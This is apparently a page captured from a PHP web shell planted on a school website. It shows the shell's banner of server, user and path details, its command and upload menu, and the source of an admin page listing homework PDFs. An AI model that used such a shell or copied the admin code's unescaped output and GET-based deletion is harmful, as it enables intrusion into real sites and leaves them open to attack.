Server IP : 62.72.28.201 / Your IP : 3.144.21.206 Web Server : LiteSpeed System : Linux in-mum-web1113.main-hosting.eu 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : u249650955 ( 249650955) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : ON Directory (0755) : /home/u249650955/domains/ladyflorencepublicschool.com/public_html/admin_area/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php if(!isset($_SESSION['user_email'])){ echo "<script>window.open('login.php?not_admin=You are not an Admin','_self')</script>"; } else{ ?> <table width="100%" align="center" bgcolor="pink"> <tr align="center"> <td colspan="6"><h2>View All Hollyday Home Work</h2></td> </tr> <tr align="center" style="background-color:skyblue !important;"> <th>S.N.</th> <th>Title</th> <th>Image</th> <th>Delete</th> </tr> <?php include("includes/db.php"); $get_pro = "select * from hhw"; $run_pro = mysqli_query($con, $get_pro); $i = 0; while($row_pro=mysqli_fetch_array($run_pro)){ $s_id = $row_pro['h_id ']; $s_title = $row_pro['h_title']; $s_pdf = $row_pro['h_pdf']; $i++; ?> <tr align="center"> <th><?php echo $i; ?></th> <th><?php echo $s_title; ?></th> <th><a href="product_images/<?php echo $s_pdf; ?>"><img src="product_images/icon/pdf.png" width="60" height="60"></a></th> <th><a href="delete_hhw.php?delete_pro=<?php echo $s_id; ?>">Delete</a></th> </tr> <?php } ?> </table> <?php } ?>